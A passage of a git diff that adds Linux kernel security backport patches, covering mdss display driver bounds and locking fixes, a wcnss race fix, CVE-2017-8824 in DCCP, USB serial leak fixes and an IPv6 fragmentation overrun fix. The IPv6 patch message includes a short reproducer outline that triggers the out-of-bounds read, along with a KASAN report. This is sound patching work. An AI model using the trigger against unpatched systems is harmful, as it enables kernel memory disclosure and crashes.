release of the mdp debugfs functions +panel_debug_base_release and mdss_debug_base_release by adding +the lock for unpreempted freeing of the buffer so that multiple +concurrent processes cannot affect the release which can possibly +lead to use-after-free operation on the buffer. + +Change-Id: I9586081b65ae2eb0e7f6e30c606ee748ae9ef7e8 +Signed-off-by: Harsh Sahu +--- + drivers/video/msm/mdss/mdss_debug.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/drivers/video/msm/mdss/mdss_debug.c b/drivers/video/msm/mdss/mdss_debug.c +index 920babf..78bfe50 100644 +--- a/drivers/video/msm/mdss/mdss_debug.c ++++ b/drivers/video/msm/mdss/mdss_debug.c +@@ -57,11 +57,13 @@ static int panel_debug_base_open(struct inode *inode, struct file *file) + static int panel_debug_base_release(struct inode *inode, struct file *file) + { + struct mdss_debug_base *dbg = file->private_data; ++ mutex_lock(&mdss_debug_lock); + if (dbg && dbg->buf) { + kfree(dbg->buf); + dbg->buf_len = 0; + dbg->buf = NULL; + } ++ mutex_unlock(&mdss_debug_lock); + return 0; + } + +@@ -386,11 +388,13 @@ static int mdss_debug_base_open(struct inode *inode, struct file *file) + static int mdss_debug_base_release(struct inode *inode, struct file *file) + { + struct mdss_debug_base *dbg = file->private_data; ++ mutex_lock(&mdss_debug_lock); + if (dbg && dbg->buf) { + kfree(dbg->buf); + dbg->buf_len = 0; + dbg->buf = NULL; + } ++ mutex_unlock(&mdss_debug_lock); + return 0; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0234-e30f80555cf2-msm mdss Add planecount limit check for mdssrotator buffer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0234-e30f80555cf2-msm mdss Add planecount limit check for mdssrotator buffer.patch new file mode 100644 index 0000000..d0d8508 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0234-e30f80555cf2-msm mdss Add planecount limit check for mdssrotator buffer.patch @@ -0,0 +1,57 @@ +From e30f80555cf2bc8b891c74ce0240bdcc155a38b7 Mon Sep 17 00:00:00 2001 +From: Benjamin Chan +Date: Wed, 19 Apr 2017 15:52:07 -0400 +Subject: msm: mdss: Add plane_count limit check for mdss_rotator buffer + +For each input and output buffer given to mdss rotator, it is necessary +to check the range of the plane_count value against the MAX_PLANES +definition, in order to avoid any plane array out of bound access. + +CRs-Fixed: 2028681 +Change-Id: I117bf5daead17e5e97c62c6dc8e21d1fcc9d8e74 +Signed-off-by: Benjamin Chan +--- + drivers/video/msm/mdss/mdss_rotator.c | 20 ++++++++++++++++++++ + 1 file changed, 20 insertions(+) + +diff --git a/drivers/video/msm/mdss/mdss_rotator.c b/drivers/video/msm/mdss/mdss_rotator.c +index eddfa49..fd38196 100644 +--- a/drivers/video/msm/mdss/mdss_rotator.c ++++ b/drivers/video/msm/mdss/mdss_rotator.c +@@ -501,6 +501,12 @@ static int mdss_rotator_import_buffer(struct mdp_layer_buffer *buffer, + + memset(planes, 0, sizeof(planes)); + ++ if (buffer->plane_count > MAX_PLANES) { ++ pr_err("buffer plane_count exceeds MAX_PLANES limit:%d\n", ++ buffer->plane_count); ++ return -EINVAL; ++ } ++ + for (i = 0; i < buffer->plane_count; i++) { + planes[i].memory_id = buffer->planes[i].fd; + planes[i].offset = buffer->planes[i].offset; +@@ -2106,6 +2112,20 @@ struct mdss_rot_entry_container *mdss_rotator_req_init( + struct mdss_rot_entry_container *req; + int size, i; + ++ /* ++ * Check input and output plane_count from each given item ++ * are within the MAX_PLANES limit ++ */ ++ for (i = 0 ; i < count; i++) { ++ if ((items[i].input.plane_count > MAX_PLANES) || ++ (items[i].output.plane_count > MAX_PLANES)) { ++ pr_err("Input/Output plane_count exceeds MAX_PLANES limit, input:%d, output:%d\n", ++ items[i].input.plane_count, ++ items[i].output.plane_count); ++ return ERR_PTR(-EINVAL); ++ } ++ } ++ + size = sizeof(struct mdss_rot_entry_container); + size += sizeof(struct mdss_rot_entry) * count; + req = devm_kzalloc(&mgr->pdev->dev, size, GFP_KERNEL); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0235.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0235.diff new file mode 100644 index 0000000..aafd480 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0235.diff @@ -0,0 +1,46 @@ +diff --git a/drivers/video/msm/mdss/mdss_mdp_layer.c b/drivers/video/msm/mdss/mdss_mdp_layer.c +index 80722bb..c26737a 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_layer.c ++++ b/drivers/video/msm/mdss/mdss_mdp_layer.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -2107,6 +2107,12 @@ + wfd = mdp5_data->wfd; + output_layer = commit->output_layer; + ++ if (output_layer->buffer.plane_count > MAX_PLANES) { ++ pr_err("Output buffer plane_count exceeds MAX_PLANES limit:%d\n", ++ output_layer->buffer.plane_count); ++ return -EINVAL; ++ } ++ + data = mdss_mdp_wfd_add_data(wfd, output_layer); + if (IS_ERR_OR_NULL(data)) + return PTR_ERR(data); +diff --git a/drivers/video/msm/mdss/mdss_mdp_wfd.c b/drivers/video/msm/mdss/mdss_mdp_wfd.c +index b171959..9e90540 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_wfd.c ++++ b/drivers/video/msm/mdss/mdss_mdp_wfd.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2015-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2015-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -294,6 +294,12 @@ + if (wfd_data->layer.flags & MDP_LAYER_SECURE_SESSION) + flags = MDP_SECURE_OVERLAY_SESSION; + ++ if (buffer->plane_count > MAX_PLANES) { ++ pr_err("buffer plane_count exceeds MAX_PLANES limit:%d", ++ buffer->plane_count); ++ return -EINVAL; ++ } ++ + memset(planes, 0, sizeof(planes)); + + for (i = 0; i < buffer->plane_count; i++) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0236-49b9a02eaaeb-wcnss fix the potential memory leak and heap overflow.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0236-49b9a02eaaeb-wcnss fix the potential memory leak and heap overflow.patch new file mode 100644 index 0000000..b598d59 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0236-49b9a02eaaeb-wcnss fix the potential memory leak and heap overflow.patch @@ -0,0 +1,191 @@ +From 49b9a02eaaeb0b70608c6fbcadff7d83833b9614 Mon Sep 17 00:00:00 2001 +From: Sarada Prasanna Garnayak +Date: Mon, 17 Apr 2017 14:29:57 +0530 +Subject: wcnss: fix the potential memory leak and heap overflow + +The wcnss platform driver update the wlan calibration data +by the user space wlan daemon. The wlan user space daemon store +the updated wlan calibration data reported by wlan firmware in +user space and write it back to the wcnss platform calibration +data buffer for the calibration data download and update. + +During the wlan calibration data store and retrieve operation +there are some potential race condition which leads to memory leak +and buffer overflow during the context switch. + +Fix the above issue by adding protection code and avoid usage of +global pointer during the device file read and write operation. + +CRs-Fixed: 2015858 +Change-Id: Ib5b57eb86dcb4e6ed799b5222d06396eaabfaad3 +Signed-off-by: Sarada Prasanna Garnayak +--- + drivers/net/wireless/wcnss/wcnss_wlan.c | 87 +++++++++++++++++++-------------- + 1 file changed, 51 insertions(+), 36 deletions(-) + +diff --git a/drivers/net/wireless/wcnss/wcnss_wlan.c b/drivers/net/wireless/wcnss/wcnss_wlan.c +index 11ba537..3171a40 100644 +--- a/drivers/net/wireless/wcnss/wcnss_wlan.c ++++ b/drivers/net/wireless/wcnss/wcnss_wlan.c +@@ -396,7 +396,6 @@ static struct { + int user_cal_available; + u32 user_cal_rcvd; + int user_cal_exp_size; +- int device_opened; + int iris_xo_mode_set; + int fw_vbatt_state; + char wlan_nv_macAddr[WLAN_MAC_ADDR_SIZE]; +@@ -3284,14 +3283,6 @@ static int wcnss_node_open(struct inode *inode, struct file *file) + return -EFAULT; + } + +- mutex_lock(&penv->dev_lock); +- penv->user_cal_rcvd = 0; +- penv->user_cal_read = 0; +- penv->user_cal_available = false; +- penv->user_cal_data = NULL; +- penv->device_opened = 1; +- mutex_unlock(&penv->dev_lock); +- + return rc; + } + +@@ -3300,7 +3291,7 @@ static ssize_t wcnss_wlan_read(struct file *fp, char __user + { + int rc = 0; + +- if (!penv || !penv->device_opened) ++ if (!penv) + return -EFAULT; + + rc = wait_event_interruptible(penv->read_wait, penv->fw_cal_rcvd +@@ -3337,55 +3328,66 @@ static ssize_t wcnss_wlan_write(struct file *fp, const char __user + *user_buffer, size_t count, loff_t *position) + { + int rc = 0; +- u32 size = 0; ++ char *cal_data = NULL; + +- if (!penv || !penv->device_opened || penv->user_cal_available) ++ if (!penv || penv->user_cal_available) + return -EFAULT; + +- if (penv->user_cal_rcvd == 0 && count >= 4 +- && !penv->user_cal_data) { +- rc = copy_from_user((void *)&size, user_buffer, 4); +- if (!size || size > MAX_CALIBRATED_DATA_SIZE) { +- pr_err(DEVICE " invalid size to write %d\n", size); ++ if (!penv->user_cal_rcvd && count >= 4 && !penv->user_cal_exp_size) { ++ mutex_lock(&penv->dev_lock); ++ rc = copy_from_user((void *)&penv->user_cal_exp_size, ++ user_buffer, 4); ++ if (!penv->user_cal_exp_size || ++ penv->user_cal_exp_size > MAX_CALIBRATED_DATA_SIZE) { ++ pr_err(DEVICE " invalid size to write %d\n", ++ penv->user_cal_exp_size); ++ penv->user_cal_exp_size = 0; ++ mutex_unlock(&penv->dev_lock); + return -EFAULT; + } +- +- rc += count; +- count -= 4; +- penv->user_cal_exp_size = size; +- penv->user_cal_data = kmalloc(size, GFP_KERNEL); +- if (penv->user_cal_data == NULL) { +- pr_err(DEVICE " no memory to write\n"); +- return -ENOMEM; +- } +- if (0 == count) +- goto exit; +- +- } else if (penv->user_cal_rcvd == 0 && count < 4) ++ mutex_unlock(&penv->dev_lock); ++ return count; ++ } else if (!penv->user_cal_rcvd && count < 4) { + return -EFAULT; ++ } + ++ mutex_lock(&penv->dev_lock); + if ((UINT32_MAX - count < penv->user_cal_rcvd) || + (penv->user_cal_exp_size < count + penv->user_cal_rcvd)) { + pr_err(DEVICE " invalid size to write %zu\n", count + + penv->user_cal_rcvd); +- rc = -ENOMEM; +- goto exit; ++ mutex_unlock(&penv->dev_lock); ++ return -ENOMEM; + } +- rc = copy_from_user((void *)penv->user_cal_data + +- penv->user_cal_rcvd, user_buffer, count); +- if (0 == rc) { ++ ++ cal_data = kmalloc(count, GFP_KERNEL); ++ if (!cal_data) { ++ mutex_unlock(&penv->dev_lock); ++ return -ENOMEM; ++ } ++ ++ rc = copy_from_user(cal_data, user_buffer, count); ++ if (!rc) { ++ memcpy(penv->user_cal_data + penv->user_cal_rcvd, ++ cal_data, count); + penv->user_cal_rcvd += count; + rc += count; + } ++ ++ kfree(cal_data); + if (penv->user_cal_rcvd == penv->user_cal_exp_size) { + penv->user_cal_available = true; + pr_info_ratelimited("wcnss: user cal written"); + } ++ mutex_unlock(&penv->dev_lock); + +-exit: + return rc; + } + ++static int wcnss_node_release(struct inode *inode, struct file *file) ++{ ++ return 0; ++} + + static int wcnss_notif_cb(struct notifier_block *this, unsigned long code, + void *ss_handle) +@@ -3444,6 +3446,7 @@ static const struct file_operations wcnss_node_fops = { + .open = wcnss_node_open, + .read = wcnss_wlan_read, + .write = wcnss_wlan_write, ++ .release = wcnss_node_release, + }; + + static struct miscdevice wcnss_misc = { +@@ -3471,6 +3474,13 @@ wcnss_wlan_probe(struct platform_device *pdev) + } + penv->pdev = pdev; + ++ penv->user_cal_data = ++ devm_kzalloc(&pdev->dev, MAX_CALIBRATED_DATA_SIZE, GFP_KERNEL); ++ if (!penv->user_cal_data) { ++ dev_err(&pdev->dev, "Failed to alloc memory for cal data.\n"); ++ return -ENOMEM; ++ } ++ + /* register sysfs entries */ + ret = wcnss_create_sysfs(&pdev->dev); + if (ret) { +@@ -3491,6 +3501,11 @@ wcnss_wlan_probe(struct platform_device *pdev) + mutex_init(&penv->pm_qos_mutex); + init_waitqueue_head(&penv->read_wait); + ++ penv->user_cal_rcvd = 0; ++ penv->user_cal_read = 0; ++ penv->user_cal_exp_size = 0; ++ penv->user_cal_available = false; ++ + /* Since we were built into the kernel we'll be called as part + * of kernel initialization. We don't know if userspace + * applications are available to service PIL at this time +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0237-d2baa5e59786-dccp CVE20178824 useafterfree in DCCP code.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0237-d2baa5e59786-dccp CVE20178824 useafterfree in DCCP code.patch new file mode 100644 index 0000000..b52dcc3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0237-d2baa5e59786-dccp CVE20178824 useafterfree in DCCP code.patch @@ -0,0 +1,45 @@ +From d2baa5e59786136454e3baf3cb7c9d606ab8d508 Mon Sep 17 00:00:00 2001 +From: Mohamed Ghannam +Date: Tue, 5 Dec 2017 20:58:35 +0000 +Subject: dccp: CVE-2017-8824: use-after-free in DCCP code + +commit 69c64866ce072dea1d1e59a0d61e0f66c0dffb76 upstream. + +Whenever the sock object is in DCCP_CLOSED state, +dccp_disconnect() must free dccps_hc_tx_ccid and +dccps_hc_rx_ccid and set to NULL. + +Signed-off-by: Mohamed Ghannam +Reviewed-by: Eric Dumazet +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/dccp/proto.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/net/dccp/proto.c b/net/dccp/proto.c +index e1bc9d52c016b..dad5493c7c5af 100644 +--- a/net/dccp/proto.c ++++ b/net/dccp/proto.c +@@ -259,6 +259,7 @@ int dccp_disconnect(struct sock *sk, int flags) + { + struct inet_connection_sock *icsk = inet_csk(sk); + struct inet_sock *inet = inet_sk(sk); ++ struct dccp_sock *dp = dccp_sk(sk); + int err = 0; + const int old_state = sk->sk_state; + +@@ -278,6 +279,10 @@ int dccp_disconnect(struct sock *sk, int flags) + sk->sk_err = ECONNRESET; + + dccp_clear_xmit_timers(sk); ++ ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk); ++ ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk); ++ dp->dccps_hc_rx_ccid = NULL; ++ dp->dccps_hc_tx_ccid = NULL; + + __skb_queue_purge(&sk->sk_receive_queue); + __skb_queue_purge(&sk->sk_write_queue); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0238-1f5371cc8423-USB serial ioti fix information leak in completion handler.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0238-1f5371cc8423-USB serial ioti fix information leak in completion handler.patch new file mode 100644 index 0000000..58135fa --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0238-1f5371cc8423-USB serial ioti fix information leak in completion handler.patch @@ -0,0 +1,37 @@ +From 1f5371cc84232fc5b3140713d681b35641c56c17 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Mon, 6 Mar 2017 17:36:40 +0100 +Subject: USB: serial: io_ti: fix information leak in completion handler + +commit 654b404f2a222f918af9b0cd18ad469d0c941a8e upstream. + +Add missing sanity check to the bulk-in completion handler to avoid an +integer underflow that can be triggered by a malicious device. + +This avoids leaking 128 kB of memory content from after the URB transfer +buffer to user space. + +Fixes: 8c209e6782ca ("USB: make actual_length in struct urb field u32") +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/serial/io_ti.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/usb/serial/io_ti.c b/drivers/usb/serial/io_ti.c +index 4591d6bfe0c3..f6f6960218a7 100644 +--- a/drivers/usb/serial/io_ti.c ++++ b/drivers/usb/serial/io_ti.c +@@ -1632,7 +1632,7 @@ static void edge_bulk_in_callback(struct urb *urb) + + port_number = edge_port->port->port_number; + +- if (edge_port->lsr_event) { ++ if (urb->actual_length > 0 && edge_port->lsr_event) { + edge_port->lsr_event = 0; + dev_dbg(dev, "%s ===== Port %u LSR Status = %02x, Data = %02x ======\n", + __func__, port_number, edge_port->lsr_mask, *data); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0239-d064efcbd6ed-USB serial omninet fix reference leaks at open.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0239-d064efcbd6ed-USB serial omninet fix reference leaks at open.patch new file mode 100644 index 0000000..068477b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0239-d064efcbd6ed-USB serial omninet fix reference leaks at open.patch @@ -0,0 +1,39 @@ +From d064efcbd6ed7526ad075a9ad5ef28b1d398ab46 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Mon, 6 Mar 2017 17:36:38 +0100 +Subject: USB: serial: omninet: fix reference leaks at open + +commit 30572418b445d85fcfe6c8fe84c947d2606767d8 upstream. + +This driver needlessly took another reference to the tty on open, a +reference which was then never released on close. This lead to not just +a leak of the tty, but also a driver reference leak that prevented the +driver from being unloaded after a port had once been opened. + +Fixes: 4a90f09b20f4 ("tty: usb-serial krefs") +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/serial/omninet.c | 6 ------ + 1 file changed, 6 deletions(-) + +diff --git a/drivers/usb/serial/omninet.c b/drivers/usb/serial/omninet.c +index f6c6900bccf0..880bbdba19d2 100644 +--- a/drivers/usb/serial/omninet.c ++++ b/drivers/usb/serial/omninet.c +@@ -129,12 +129,6 @@ static int omninet_port_remove(struct usb_serial_port *port) + + static int omninet_open(struct tty_struct *tty, struct usb_serial_port *port) + { +- struct usb_serial *serial = port->serial; +- struct usb_serial_port *wport; +- +- wport = serial->port[1]; +- tty_port_tty_set(&wport->port, tty); +- + return usb_serial_generic_open(tty, port); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0240-5ca68dbb5a6b-ipv6 Prevent overrun when parsing v6 header options.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0240-5ca68dbb5a6b-ipv6 Prevent overrun when parsing v6 header options.patch new file mode 100644 index 0000000..4352407 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0240-5ca68dbb5a6b-ipv6 Prevent overrun when parsing v6 header options.patch @@ -0,0 +1,234 @@ +From 5ca68dbb5a6bb81c6119a6808e1dd8d1a53febc8 Mon Sep 17 00:00:00 2001 +From: Craig Gallek +Date: Tue, 16 May 2017 14:36:23 -0400 +Subject: ipv6: Prevent overrun when parsing v6 header options + +[ Upstream commit 2423496af35d94a87156b063ea5cedffc10a70a1 ] + +The KASAN warning repoted below was discovered with a syzkaller +program. The reproducer is basically: + int s = socket(AF_INET6, SOCK_RAW, NEXTHDR_HOP); + send(s, &one_byte_of_data, 1, MSG_MORE); + send(s, &more_than_mtu_bytes_data, 2000, 0); + +The socket() call sets the nexthdr field of the v6 header to +NEXTHDR_HOP, the first send call primes the payload with a non zero +byte of data, and the second send call triggers the fragmentation path. + +The fragmentation code tries to parse the header options in order +to figure out where to insert the fragment option. Since nexthdr points +to an invalid option, the calculation of the size of the network header +can made to be much larger than the linear section of the skb and data +is read outside of it. + +This fix makes ip6_find_1stfrag return an error if it detects +running out-of-bounds. + +[ 42.361487] ================================================================== +[ 42.364412] BUG: KASAN: slab-out-of-bounds in ip6_fragment+0x11c8/0x3730 +[ 42.365471] Read of size 840 at addr ffff88000969e798 by task ip6_fragment-oo/3789 +[ 42.366469] +[ 42.366696] CPU: 1 PID: 3789 Comm: ip6_fragment-oo Not tainted 4.11.0+ #41 +[ 42.367628] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014 +[ 42.368824] Call Trace: +[ 42.369183] dump_stack+0xb3/0x10b +[ 42.369664] print_address_description+0x73/0x290 +[ 42.370325] kasan_report+0x252/0x370 +[ 42.370839] ? ip6_fragment+0x11c8/0x3730 +[ 42.371396] check_memory_region+0x13c/0x1a0 +[ 42.371978] memcpy+0x23/0x50 +[ 42.372395] ip6_fragment+0x11c8/0x3730 +[ 42.372920] ? nf_ct_expect_unregister_notifier+0x110/0x110 +[ 42.373681] ? ip6_copy_metadata+0x7f0/0x7f0 +[ 42.374263] ? ip6_forward+0x2e30/0x2e30 +[ 42.374803] ip6_finish_output+0x584/0x990 +[ 42.375350] ip6_output+0x1b7/0x690 +[ 42.375836] ? ip6_finish_output+0x990/0x990 +[ 42.376411] ? ip6_fragment+0x3730/0x3730 +[ 42.376968] ip6_local_out+0x95/0x160 +[ 42.377471] ip6_send_skb+0xa1/0x330 +[ 42.377969] ip6_push_pending_frames+0xb3/0xe0 +[ 42.378589] rawv6_sendmsg+0x2051/0x2db0 +[ 42.379129] ? rawv6_bind+0x8b0/0x8b0 +[ 42.379633] ? _copy_from_user+0x84/0xe0 +[ 42.380193] ? debug_check_no_locks_freed+0x290/0x290 +[ 42.380878] ? ___sys_sendmsg+0x162/0x930 +[ 42.381427] ? rcu_read_lock_sched_held+0xa3/0x120 +[ 42.382074] ? sock_has_perm+0x1f6/0x290 +[ 42.382614] ? ___sys_sendmsg+0x167/0x930 +[ 42.383173] ? lock_downgrade+0x660/0x660 +[ 42.383727] inet_sendmsg+0x123/0x500 +[ 42.384226] ? inet_sendmsg+0x123/0x500 +[ 42.384748] ? inet_recvmsg+0x540/0x540 +[ 42.385263] sock_sendmsg+0xca/0x110 +[ 42.385758] SYSC_sendto+0x217/0x380 +[ 42.386249] ? SYSC_connect+0x310/0x310 +[ 42.386783] ? __might_fault+0x110/0x1d0 +[ 42.387324] ? lock_downgrade+0x660/0x660 +[ 42.387880] ? __fget_light+0xa1/0x1f0 +[ 42.388403] ? __fdget+0x18/0x20 +[ 42.388851] ? sock_common_setsockopt+0x95/0xd0 +[ 42.389472] ? SyS_setsockopt+0x17f/0x260 +[ 42.390021] ? entry_SYSCALL_64_fastpath+0x5/0xbe +[ 42.390650] SyS_sendto+0x40/0x50 +[ 42.391103] entry_SYSCALL_64_fastpath+0x1f/0xbe +[ 42.391731] RIP: 0033:0x7fbbb711e383 +[ 42.392217] RSP: 002b:00007ffff4d34f28 EFLAGS: 00000246 ORIG_RAX: 000000000000002c +[ 42.393235] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fbbb711e383 +[ 42.394195] RDX: 0000000000001000 RSI: 00007ffff4d34f60 RDI: 0000000000000003 +[ 42.395145] RBP: 0000000000000046 R08: 00007ffff4d34f40 R09: 0000000000000018 +[ 42.396056] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000400aad +[ 42.396598] R13: 0000000000000066 R14: 00007ffff4d34ee0 R15: 00007fbbb717af00 +[ 42.397257] +[ 42.397411] Allocated by task 3789: +[ 42.397702] save_stack_trace+0x16/0x20 +[ 42.398005] save_stack+0x46/0xd0 +[ 42.398267] kasan_kmalloc+0xad/0xe0 +[ 42.398548] kasan_slab_alloc+0x12/0x20 +[ 42.398848] __kmalloc_node_track_caller+0xcb/0x380 +[ 42.399224] __kmalloc_reserve.isra.32+0x41/0xe0 +[ 42.399654] __alloc_skb+0xf8/0x580 +[ 42.400003] sock_wmalloc+0xab/0xf0 +[ 42.400346] __ip6_append_data.isra.41+0x2472/0x33d0 +[ 42.400813] ip6_append_data+0x1a8/0x2f0 +[ 42.401122] rawv6_sendmsg+0x11ee/0x2db0 +[ 42.401505] inet_sendmsg+0x123/0x500 +[ 42.401860] sock_sendmsg+0xca/0x110 +[ 42.402209] ___sys_sendmsg+0x7cb/0x930 +[ 42.402582] __sys_sendmsg+0xd9/0x190 +[ 42.402941] SyS_sendmsg+0x2d/0x50 +[ 42.403273] entry_SYSCALL_64_fastpath+0x1f/0xbe +[ 42.403718] +[ 42.403871] Freed by task 1794: +[ 42.404146] save_stack_trace+0x16/0x20 +[ 42.404515] save_stack+0x46/0xd0 +[ 42.404827] kasan_slab_free+0x72/0xc0 +[ 42.405167] kfree+0xe8/0x2b0 +[ 42.405462] skb_free_head+0x74/0xb0 +[ 42.405806] skb_release_data+0x30e/0x3a0 +[ 42.406198] skb_release_all+0x4a/0x60 +[ 42.406563] consume_skb+0x113/0x2e0 +[ 42.406910] skb_free_datagram+0x1a/0xe0 +[ 42.407288] netlink_recvmsg+0x60d/0xe40 +[ 42.407667] sock_recvmsg+0xd7/0x110 +[ 42.408022] ___sys_recvmsg+0x25c/0x580 +[ 42.408395] __sys_recvmsg+0xd6/0x190 +[ 42.408753] SyS_recvmsg+0x2d/0x50 +[ 42.409086] entry_SYSCALL_64_fastpath+0x1f/0xbe +[ 42.409513] +[ 42.409665] The buggy address belongs to the object at ffff88000969e780 +[ 42.409665] which belongs to the cache kmalloc-512 of size 512 +[ 42.410846] The buggy address is located 24 bytes inside of +[ 42.410846] 512-byte region [ffff88000969e780, ffff88000969e980) +[ 42.411941] The buggy address belongs to the page: +[ 42.412405] page:ffffea000025a780 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0 +[ 42.413298] flags: 0x100000000008100(slab|head) +[ 42.413729] raw: 0100000000008100 0000000000000000 0000000000000000 00000001800c000c +[ 42.414387] raw: ffffea00002a9500 0000000900000007 ffff88000c401280 0000000000000000 +[ 42.415074] page dumped because: kasan: bad access detected +[ 42.415604] +[ 42.415757] Memory state around the buggy address: +[ 42.416222] ffff88000969e880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +[ 42.416904] ffff88000969e900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +[ 42.417591] >ffff88000969e980: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[ 42.418273] ^ +[ 42.418588] ffff88000969ea00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +[ 42.419273] ffff88000969ea80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +[ 42.419882] ================================================================== + +Reported-by: Andrey Konovalov +Signed-off-by: Craig Gallek +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv6/ip6_offload.c | 2 ++ + net/ipv6/ip6_output.c | 4 ++++ + net/ipv6/output_core.c | 14 ++++++++------ + net/ipv6/udp_offload.c | 2 ++ + 4 files changed, 16 insertions(+), 6 deletions(-) + +diff --git a/net/ipv6/ip6_offload.c b/net/ipv6/ip6_offload.c +index 219b9d24b3b3..bb392927b0dd 100644 +--- a/net/ipv6/ip6_offload.c ++++ b/net/ipv6/ip6_offload.c +@@ -122,6 +122,8 @@ static struct sk_buff *ipv6_gso_segment(struct sk_buff *skb, + + if (udpfrag) { + unfrag_ip6hlen = ip6_find_1stfragopt(skb, &prevhdr); ++ if (unfrag_ip6hlen < 0) ++ return ERR_PTR(unfrag_ip6hlen); + fptr = (struct frag_hdr *)((u8 *)ipv6h + unfrag_ip6hlen); + fptr->frag_off = htons(offset); + if (skb->next != NULL) +diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c +index 9524b4596bf5..42ed24f3f133 100644 +--- a/net/ipv6/ip6_output.c ++++ b/net/ipv6/ip6_output.c +@@ -570,6 +570,10 @@ int ip6_fragment(struct sk_buff *skb, int (*output)(struct sk_buff *)) + struct net *net = dev_net(skb_dst(skb)->dev); + + hlen = ip6_find_1stfragopt(skb, &prevhdr); ++ if (hlen < 0) { ++ err = hlen; ++ goto fail; ++ } + nexthdr = *prevhdr; + + mtu = ip6_skb_dst_mtu(skb); +diff --git a/net/ipv6/output_core.c b/net/ipv6/output_core.c +index 97f41a3e68d9..20569d6087c4 100644 +--- a/net/ipv6/output_core.c ++++ b/net/ipv6/output_core.c +@@ -45,14 +45,13 @@ EXPORT_SYMBOL_GPL(ipv6_proxy_select_ident); + int ip6_find_1stfragopt(struct sk_buff *skb, u8 **nexthdr) + { + u16 offset = sizeof(struct ipv6hdr); +- struct ipv6_opt_hdr *exthdr = +- (struct ipv6_opt_hdr *)(ipv6_hdr(skb) + 1); + unsigned int packet_len = skb_tail_pointer(skb) - + skb_network_header(skb); + int found_rhdr = 0; + *nexthdr = &ipv6_hdr(skb)->nexthdr; + +- while (offset + 1 <= packet_len) { ++ while (offset <= packet_len) { ++ struct ipv6_opt_hdr *exthdr; + + switch (**nexthdr) { + +@@ -73,13 +72,16 @@ int ip6_find_1stfragopt(struct sk_buff *skb, u8 **nexthdr) + return offset; + } + +- offset += ipv6_optlen(exthdr); +- *nexthdr = &exthdr->nexthdr; ++ if (offset + sizeof(struct ipv6_opt_hdr) > packet_len) ++ return -EINVAL; ++ + exthdr = (struct ipv6_opt_hdr *)(skb_network_header(skb) + + offset); ++ offset += ipv6_optlen(exthdr); ++ *nexthdr = &exthdr->nexthdr; + } + +- return offset; ++ return -EINVAL; + } + EXPORT_SYMBOL(ip6_find_1stfragopt); + +diff --git a/net/ipv6/udp_offload.c b/net/ipv6/udp_offload.c +index 6b8f543f6ac6..b032886ae976 100644 +--- a/net/ipv6/udp_offload.c ++++ b/net/ipv6/udp_offload.c +@@ -94,6 +94,8 @@ static struct sk_buff *udp6_ufo_fragment(struct sk_buff *skb, + * bytes to insert fragment header. + */ + unfrag_ip6hlen = ip6_find_1stfragopt(skb, &prevhdr); ++ if (unfrag_ip6hlen < 0) ++ return ERR_PTR(unfrag_ip6hlen); + nexthdr = *prevhdr; + *prevhdr = NEXTHDR_FRAGMENT; + unfrag_len = 